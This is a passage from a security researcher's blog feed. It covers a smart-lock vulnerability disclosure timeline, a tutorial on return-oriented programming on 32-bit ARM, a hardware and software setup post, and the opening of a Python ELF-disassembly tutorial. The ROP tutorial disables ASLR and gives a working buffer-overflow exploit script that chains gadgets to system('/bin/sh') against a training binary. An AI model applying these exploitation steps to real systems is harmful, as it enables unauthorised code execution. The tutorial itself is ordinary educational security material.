1122Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
1123&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1124
1125<p><em>shudders</em></p>
1126
1127<h3 id="proof-of-concept">Proof of Concept</h3>
1128
1129<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1130
1131<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1132
1133<h3 id="disclosure-timeline">Disclosure timeline</h3>
1134
1135<ul>
1136<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1137<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1138<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1139<li>No response from vendor</li>
1140<li><strong>2nd August 2019</strong>: Public disclosure</li>
1141</ul>
1142
1143<h3 id="lessons-learnt">Lessons learnt</h3>
1144
1145<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
1146with keys. With the IoT plague spreading, it brings in a large attack surface
1147to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
1148
1149<p>The IoT security scene is rife with bugs from over 10 years ago, like
1150executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
1151practices in general.</p>
1152
1153<p>Our existing threat models and scenarios have to be updated to factor 
1154in these new exploitation possibilities. This also broadens the playing 
1155field for cyber warfare and mass surveillance campaigns. </p>
1156
1157<h3 id="researcher-info">Researcher info</h3>
1158
1159<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1160
1161<ul>
1162<li>Anirudh Oppiliappan (me)</li>
1163<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1164<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1165</ul>
1166
1167<div class="footnotes">
1168<hr />
1169<ol>
1170<li id="fn-1">
1171<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
1172</li>
1173
1174<li id="fn-2">
1175<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
1176</li>
1177
1178<li id="fn-3">
1179<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
1180</li>
1181</ol>
1182</div>
1183]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1184assembly to follow along. I highly recommend
1185<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1186Basics</a>. Once you’re
1187comfortable with it, proceed with the next bit — environment setup.</p>
1188
1189<h3 id="setup">Setup</h3>
1190
1191<p>Since we’re working with the ARM architecture, there are two options to go
1192forth with: </p>
1193
1194<ol>
1195<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
1196And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1197The scripts found inside should be self-explanatory.</li>
1198<li>Use actual ARM hardware, like an RPi.</li>
1199</ol>
1200
1201<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1202may use <code>radare2</code>, IDA or anything else, really. All of which can be
1203trivially installed.</p>
1204
1205<p>And for the sake of simplicity, disable ASLR:</p>
1206
1207<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
1208</code></pre></div>
1209
1210<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1211<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1212
1213<p>Compile it:</p>
1214
1215<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1216</code></pre></div>
1217
1218<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1219
1220<h3 id="a-primer-on-rop">A primer on ROP</h3>
1221
1222<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1223used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1224In essence, no code in the binary is actually modified and the entire exploit
1225is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1226
1227<p>A gadget is essentially a small sequence of code (instructions), ending with
1228a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1229code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1230These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1231to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1232there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1233
1234<p>In practice, the process of executing a ropchain is something like this:</p>
1235
1236<ul>
1237<li>confirm the existence of a stack-based buffer overflow</li>
1238<li>identify the offset at which the instruction pointer gets overwritten</li>
1239<li>locate the addresses of the gadgets you wish to use</li>
1240<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1241of your gadgets</li>
1242</ul>
1243
1244<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
1245Check it out, it might be just what you needed for that “aha!” moment :)</p>
1246
1247<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1248that should put things into perspective.</p>
1249
1250<h3 id="exploring-our-binary">Exploring our binary</h3>
1251
1252<p>Start by running it, and entering any arbitrary string. On entering a fairly
1253large string, say, “A” × 20, we
1254see a segmentation fault occur.</p>
1255
1256<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1257
1258<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1259
1260<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1261
1262<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
1263<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1264
1265<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1266
1267<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1268to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
1269never actually called.</p>
1270
1271<p>Disassembling the <code>gadget</code> function:</p>
1272
1273<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1274
1275<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1276which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1277instruction in the middle. This is a <strong>gadget</strong>.</p>
1278
1279<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1280arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1281are used for this. So this gadget effectively allows us to pass arguments to
1282functions using <code>r0</code>, and subsequently jumping to them by passing its address
1283in <code>pc</code>. Neat.</p>
1284
1285<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1286
1287<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1288
1289<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1290So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1291function.</p>
1292
1293<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1294of exploitation by messing around with inputs.</p>
1295
1296<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1297
1298<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1299screenshot.</p>
1300
1301<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1302
1303<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1304the <code>pc</code> has been overwritten with our input.
1305So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1306
1307<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1308control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1309
1310<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1311of the second instruction — <code>add r11, sp, #4</code>. 
1312For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1313the address of <code>winner</code>. Note the endianness.</p>
1314
1315<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
1316</code></pre></div>
1317
1318<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1319
1320<p>The reason we don’t jump to the first instruction is because we want to control the stack
1321ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1322those out after <code>winner</code> is done executing and we will no longer control 
1323where it jumps to.</p>
1324
1325<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
1326But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1327to do what we want (run a command, execute a shell, etc.).</p>
1328
1329<p>To do that, we’ll follow a multi-step process: </p>
1330
1331<ol>
1332<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1333<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1334<code>r0</code>.</li>
1335<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1336</ol>
1337
1338<p>The pseudo-code is something like this:</p>
1339
1340<pre><code>string = AAAABBBBCCCCDDDDEEEE
1341gadget = # addr of gadget
1342binsh  = # addr of /bin/sh
1343system = # addr of system()
1344
1345print(string + gadget + binsh + system)
1346</code></pre>
1347
1348<p>Clean and mean.</p>
1349
1350<h3 id="the-exploit">The exploit</h3>
1351
1352<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1353It allows us to pack the bytes of addresses to the endianness of our choice.
1354It probably does a lot more, but who cares.</p>
1355
1356<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1357at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1358
1359<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
1360</code></pre>
1361
1362<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1363
1364<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1365found from the disassmblies from earlier. Here’s the final exploit code:</p>
1366
1367<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1368
1369<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1370<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
1371<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1372<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1373
1374<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1375</code></pre></div>
1376
1377<p>Honestly, not too far off from our pseudo-code :)</p>
1378
1379<p>Let’s see it in action:</p>
1380
1381<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1382
1383<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1384when the pipe closes, since there’s no input coming in from STDIN.
1385To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1386to the shell. Nifty trick.</p>
1387
1388<h3 id="conclusion">Conclusion</h3>
1389
1390<p>This was a fairly basic challenge, with everything laid out conveniently. 
1391Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1392to acheive code execution.</p>
1393
1394<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1395]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1396
1397<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
13988 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1399
1400<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1401I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1402
1403<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1404
1405<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
1406For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1407
1408<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
1409Great pair of headphones, although the ear cups need replacing.</p>
1410
1411<h3 id="and-the-software">And the software</h3>
1412
1413<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1414window manager, all riced. I now use whatever JustWorks™.</del></p>
1415
1416<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
1417running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1418
1419<p>Here’s a (riced) screenshot of my desktop. </p>
1420
1421<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1422
1423<p>Most of my work is done in either the browser, or the terminal.
1424My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1425a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1426My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1427I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1428
1429<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1430clean and a single command to drop into a Kali shell.</p>
1431
1432<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1433The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1434
1435<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1436]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1437
1438<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1439
1440<h3 id="setup">Setup</h3>
1441
1442<p>As the title suggests, you’re going to need a Python 3 interpreter before
1443anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1444in fact, have a Python 3 interpreter installed on your system, run</p>
1445
1446<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1447</code></pre></div>
1448
1449<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1450
1451<p>With that out of the way, let’s start with an example of a basic reversing
1452challenge.</p>
1453
1454<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1455
1456<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
1457<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
1458<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
1459
1460<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1461   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1462   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
1463   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1464       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1465   <span class="p">}</span>
1466   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
1467   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1468   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
1469   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
1470   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1471       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1472   <span class="p">}</span>
1473   <span class="k">else</span> <span class="p">{</span>
1474       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1475   <span class="p">}</span>
1476<span class="p">}</span>
1477</code></pre></div>
1478
1479<p>Compile it with GCC/Clang:</p>
1480
1481<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1482</code></pre></div>
1483
1484<h3 id="scripting">Scripting</h3>
1485
1486<p>For starters, let’s look at the different sections present in the binary.</p>
1487
1488<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1489
1490<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1491
1492<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1493    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1494    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1495        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1496</code></pre></div>
1497
1498<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1499
1500<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1501<span class="go">0x238 .interp</span>
1502<span class="go">0x254 .note.ABI-tag</span>
1503<span class="go">0x274 .note.gnu.build-id</span>
1504<span class="go">0x298 .gnu.hash</span>
1505<span class="go">0x2c0 .dynsym</span>
1506<span class="go">0x3e0 .dynstr</span>
1507<span class="go">0x484 .gnu.version</span>
1508<span class="go">0x4a0 .gnu.version_r</span>
1509<span class="go">0x4c0 .rela.dyn</span>
1510<span class="go">0x598 .rela.plt</span>
1511<span class="go">0x610 .init</span>
1512<span class="go">0x630 .plt</span>
1513<span class="go">0x690 .plt.got</span>
1514<span class="go">0x6a0 .text</span>
1515<span class="go">0x8f4 .fini</span>
1516<span class="go">0x900 .rodata</span>
1517<span class="go">0x924 .eh_frame_hdr</span>
1518<span class="go">0x960 .eh_frame</span>
1519<span class="go">0x200d98 .init_array</span>
1520<span class="go">0x200da0 .fini_array</span>
1521<span class="go">0x200da8 .dynamic</span>
1522<span class="go">0x200f98 .got</span>
1523<span class="go">0x201000 .data</span>
1524<span class="go">0x201010 .bss</span>
1525<span class="go">0x0 .comment</span>
1526<span class="go">0x0 .symtab</span>
1527<span class="go">0x0 .strtab</span>
1528<span class="go">0x0 .shstrtab</span>
1529</code></pre></div>
1530
1531<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1532
1533<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1534
1535<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1536
1537<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1538<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1539
1540<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1541    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1542    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
1543    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1544    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
1545    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1546    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
1547        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
1548</code></pre></div>
1549
1550<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1551
1552<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
1553<span class="go">0x6a0: xor ebp, ebp</span>
1554<span class="go">0x6a2: mov r9, rdx</span>
1555<span class="go">0x6a5: pop rsi</span>
1556<span class="go">0x6a6: mov rdx, rsp</span>
1557<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1558<span class="go">0x6ad: push rax</span>
1559<span class="go">0x6ae: push rsp</span>
1560<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1561<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1562<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1563<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1564<span class="go">0x6ca: hlt</span>
1565<span class="go">... snip ...</span>
1566</code></pre></div>
1567
1568<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1569
1570<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1571
1572<blockquote>
1573  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1574</blockquote>
1575
1576<p>To try and find these relocation entries, we write a third script.</p>
1577
1578<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1579
1580<span class="kn">import</span> <span class="nn">sys</span>
1581<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1582<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1583
1584<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1585    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1586    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1587        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1588            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
1589            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
1590            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1591                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
1592                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
1593                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
1594</code></pre></div>
1595
1596<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1597
1598<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1599<span class="go">.rela.dyn:</span>
